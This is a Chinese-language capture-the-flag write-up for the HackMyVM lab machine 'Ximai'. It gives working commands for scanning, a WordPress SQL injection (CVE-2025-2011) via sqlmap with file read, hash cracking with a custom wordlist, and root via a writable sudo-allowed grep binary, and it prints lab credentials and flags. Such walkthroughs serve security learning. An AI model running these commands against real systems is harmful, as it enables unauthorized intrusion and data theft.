<h1>Ximai</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Ximai">https://hackmyvm.eu/machines/machine.php?vm=Ximai</a>
</blockquote>
Notes：More than one path to initial access.
<img src="/post-images/HackMyVMXimai/image.png" alt="image.png">
PS: 靶机的文件夹名字是<code>Ximai</code>，不是<code>Ximia</code>，做的时候打错了。
<h2>Recon</h2>
<pre><code class="hljs language-bash">➜ Ximia nmap -sT -min-rate 10000 192.168.56.62 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 20:32 CST
Nmap scan report for 192.168.56.62
Host is up (0.0012s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
8000/tcp open http-alt
MAC Address: 08:00:27:91:AC:2B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Ximia nmap -sT -A -p 22,80,3306,8000 192.168.56.62
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 20:33 CST
Nmap scan report for 192.168.56.62
Host is up (0.0036s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
8000/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: NeonGrid Solutions
|_http-open-proxy: Proxy might be redirecting requests
|_http-generator: WordPress 6.8.1
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:91:AC:2B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 3.57 ms 192.168.56.62

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.01 seconds
</code></pre>
访问 <code>HTTP</code> ，<code>80</code>端口是默认页面
<img src="/post-images/HackMyVMXimai/image1.png" alt="image.png">
<code>8080</code>端口是<code>wordpress</code>，并且给出了一个信息
<img src="/post-images/HackMyVMXimai/image2.png" alt="image.png">
信息是：
<img src="/post-images/HackMyVMXimai/image3.png" alt="image.png">
<code>80</code>端口扫描一下目录，<code>8000</code>端口直接上<code>WPScan</code>
<pre><code class="hljs language-bash">➜ Ximia feroxbuster --url http://192.168.56.62 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --filter-status 404,503 -x php,zip,txt

 ___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯 Target Url │ http://192.168.56.62
 🚀 Threads │ 50
 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢 Status Code Filters │ [404, 503]
 💥 Timeout (secs) │ 7
 🦡 User-Agent │ feroxbuster/2.11.0
 💉 Config File │ /etc/feroxbuster/ferox-config.toml
 🔎 Extract Links │ true
 💲 Extensions │ [php, zip, txt]
 🏁 HTTP methods │ [GET]
 🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1022l 5262w 85827c http://192.168.56.62/info.php
[>-------------------] - 1s 1233/882208 39m found:1 errors:2 
[>-------------------] - 1s 1148/882180 840/s http://192.168.56.62/ 
200 GET 376l 965w 10938c http://192.168.56.62/
200 GET 37l 185w 19268c http://192.168.56.62/that-place-where-i-put-that-thing-that-time/1b260614-3aff-11f0-ac81-000c2921b441.jpg
200 GET 4l 31w 167c http://192.168.56.62/that-place-where-i-put-that-thing-that-time/creds.txt
[####################] - 6m 882228/882228 0s found:5 errors:2 
[####################] - 6m 882180/882180 2628/s http://192.168.56.62/ 
[####################] - 0s 882180/882180 32673333/s http://192.168.56.62/that-place-where-i-put-that-thing-that-time/ => Directory listing (add --scan-dir-listings to scan) 
</code></pre>
下面是<code>80</code>端口中扫描出来的页面
<img src="/post-images/HackMyVMXimai/image4.png" alt="image.png">
(?说我吗😭)
<img src="/post-images/HackMyVMXimai/image5.png" alt="image.png">
这个<code>creds.txt</code>可能还有点用，因为<code>mysqli.allow_local_infile</code>也开启着，可以通过数据库去读
<img src="/post-images/HackMyVMXimai/image6.png" alt="image.png">
接下来看<code>Wpscan</code> 的结果，扫描到存在 <code>SQL</code>注入，<code>CVE-2025-2011</code>
<img src="/post-images/HackMyVMXimai/image7.png" alt="image.png">
<h2>CVE-2025-2011</h2>
POC：<a href="https://github.com/datagoboom/CVE-2025-2011">https://github.com/datagoboom/CVE-2025-2011</a>
但是这里通过<code>POC</code>无法进行利用
<img src="/post-images/HackMyVMXimai/image8.png" alt="image.png">
我们观察<code>POC</code>，尝试使用<code>SQLmap</code>来扫
<img src="/post-images/HackMyVMXimai/image9.png" alt="image.png">
<pre><code class="hljs language-bash">sqlmap -u "http://wordpress.local:8000/wp-admin/admin-ajax.php?s=test*&#x26;perpage=20&#x26;page=1&#x26;orderBy=source_id&#x26;dateEnd=&#x26;dateStart=&#x26;order=DESC&#x26;sources=&#x26;action=depicter-lead-index" -batch 
</code></pre>
<img src="/post-images/HackMyVMXimai/image10.png" alt="image.png">
这样就可以扫描出来了，我们根据前面的线索来直接读取文件 <code>/etc/jimmy.txt</code>
<pre><code class="hljs language-bash">sqlmap -u "http://wordpress.local:8000/wp-admin/admin-ajax.php?s=test*&#x26;perpage=20&#x26;page=1&#x26;orderBy=source_id&#x26;dateEnd=&#x26;dateStart=&#x26;order=DESC&#x26;sources=&#x26;action=depicter-lead-index" -batch --file-read /etc/jimmy.txt
</code></pre>
<pre><code class="hljs language-bash">➜ files cat _etc_jimmy.txt 
HandsomeHU
</code></pre>
<code>ssh</code> 登录
<img src="/post-images/HackMyVMXimai/image11.png" alt="image.png">
<h2>权限提升</h2>
当头一棒
<pre><code class="hljs language-bash">jimmy@Ximai:~$ ls
sorry, you are restricted from using this command.
</code></pre>
查看环境变量
<pre><code class="hljs language-bash">jimmy@Ximai:~$ echo $PATH
./...
</code></pre>
直接恢复一下环境变量就行了
<pre><code class="hljs language-bash">jimmy@Ximai:~$ export PATH="/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin"
</code></pre>
当前目录下能读取<code>user.txt</code>
<pre><code class="hljs language-bash">jimmy@Ximai:~$ cat us3r.txt 
flag{user-ffbea0a7-3b01-11f0-9160-000c2921b441}
</code></pre>
查看<code>sudo</code>权限
<pre><code class="hljs language-bash">jimmy@Ximai:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

 #1) Respect the privacy of others.
 #2) Think before you type.
 #3) With great power comes great responsibility.

[sudo] password for jimmy: 
Sorry, user jimmy may not run sudo on Ximai.
</code></pre>
查看<code>wp-config.php</code>
<pre><code class="hljs language-bash">/** Database username */
define( 'DB_USER', 'root' ); 
 
/** Database password */ 
define( 'DB_PASSWORD', 'SuperSecret' ); 
</code></pre>
数据库表信息
<pre><code class="hljs language-bash">MariaDB [wordpress]> select * from wp_users;
+----+------------+-----------------------------------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+-----------------------------------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+
| 1 | adminer | $wp$2y$10$ylcSQukwQZAMcFcQTmFzVuJhcr6CoEflSJs6pSiA9OG0JWOpAEYVq | adminer | no@thankyou.com | | 2025-05-28 10:35:26 | | 0 | adminer |
+----+------------+-----------------------------------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.000 sec)
</code></pre>
尝试密码爆破，这里使用<code>rockyou</code>无法爆破出来，太慢了
<pre><code class="hljs language-bash">➜ Ximia john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
</code></pre>
使用<code>cupp</code>生成弱密码字典进行尝试
<img src="/post-images/HackMyVMXimai/image12.png" alt="image.png">
也不能破解，我们通过<code>top 100</code>加上用户名制作字典
<pre><code class="hljs language-bash">➜ Ximia cat /usr/share/seclists/Passwords/xato-net-10-million-passwords-100.txt | awk '{print "adminer"$1}' > maybe.txt
</code></pre>
得到密码 <code>adminer123456</code>
<img src="/post-images/HackMyVMXimai/image13.png" alt="image.png">
查看 <code>sudo</code> 权限
<pre><code class="hljs language-bash">adminer@Ximai:~$ sudo -l
Matching Defaults entries for adminer on Ximai:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User adminer may run the following commands on Ximai:
 (ALL) NOPASSWD: /usr/bin/grep
</code></pre>
<pre><code class="hljs language-bash">adminer@Ximai:~$ sudo /usr/bin/grep 
sorry, you are restricted from using this command.try egrep instead.
</code></pre>
666字符串
<pre><code class="hljs language-bash">adminer@Ximai:~$ cat /usr/bin/grep
echo 'sorry, you are restricted from using this command.try egrep instead.'
</code></pre>
查看权限，有写入权限
<pre><code class="hljs language-bash">adminer@Ximai:~$ ls -al /usr/bin/grep
-rwxr-xrwx 1 root root 76 May 28 09:06 /usr/bin/grep
</code></pre>
直接梭哈
<pre><code class="hljs language-bash">adminer@Ximai:~$ cat /bin/bash > /usr/bin/grep
adminer@Ximai:~$ sudo grep
root@Ximai:/home/adminer# 
</code></pre>
读取 <code>root.txt</code>
<pre><code class="hljs language-bash">root@Ximai:~# cat r00t.txt 
flag{root-126e5653-3b02-11f0-b074-000c2921b441}
</code></pre>

Ximai

 https://hackmyvm.eu/machines/machine.php?vm=Ximai
 

Notes：More than one path to initial access.



PS: 靶机的文件夹名字是`Ximai`，不是`Ximia`，做的时候打错了。

Recon





访问 `HTTP` ，`80`端口是默认页面



`8080`端口是`word...

HackMyVM - Ximai

TheHackersLabs - Back To The Future I

TheHackersLabs - NodeCeption